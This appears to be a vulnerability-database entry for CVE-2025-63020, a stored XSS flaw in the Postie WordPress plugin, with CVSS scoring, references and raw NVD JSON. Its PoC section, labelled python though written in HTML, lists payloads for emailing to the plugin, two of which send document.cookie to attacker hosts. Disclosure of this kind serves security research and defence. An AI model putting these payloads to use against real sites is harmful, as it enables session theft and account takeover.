CVE-2025-63020

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wayne Allen Postie postie allows Stored XSS.This issue affects Postie: from n/a through <= 1.9.73.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Postie WordPress插件 <= 1.9.73

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS PoC for CVE-2025-63020 -->
<!-- Send an email to the Postie configured email address with the following payload in the body -->

<script>alert(document.cookie)</script>

<!-- Alternative payload using img tag with onerror -->
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- Payload using event handlers -->
<body onload=eval(atob('YWxlcnQoJ1hTUyBBdHRhY2tlZCEnKQ=='))>

<!-- JavaScript payload to steal session cookies -->
<script>
var cookies = document.cookie;
var img = new Image();
img.src = 'https://attacker-controlled-site.com/log?cookie=' + encodeURIComponent(cookies);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63020
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63020
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63020/
[4] VulDB https://vuldb.com/cve/CVE-2025-63020
[5] https://patchstack.com/database/Wordpress/Plugin/postie/vulnerability/wordpress-postie-plugin-1-9-73-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63020", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:54.083", "lastModified": "2026-04-23T15:34:58.113", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wayne Allen Postie postie allows Stored XSS.This issue affects Postie: from n/a through <= 1.9.73."}, {"lang": "es", "value": "Neutralización incorrecta de la entrada durante la generación de páginas web ('cross-site scripting') vulnerabilidad en Wayne Allen Postie postie permite XSS Almacenado. Este problema afecta a Postie: desde n/a hasta 1.9.73."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/postie/vulnerability/wordpress-postie-plugin-1-9-73-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}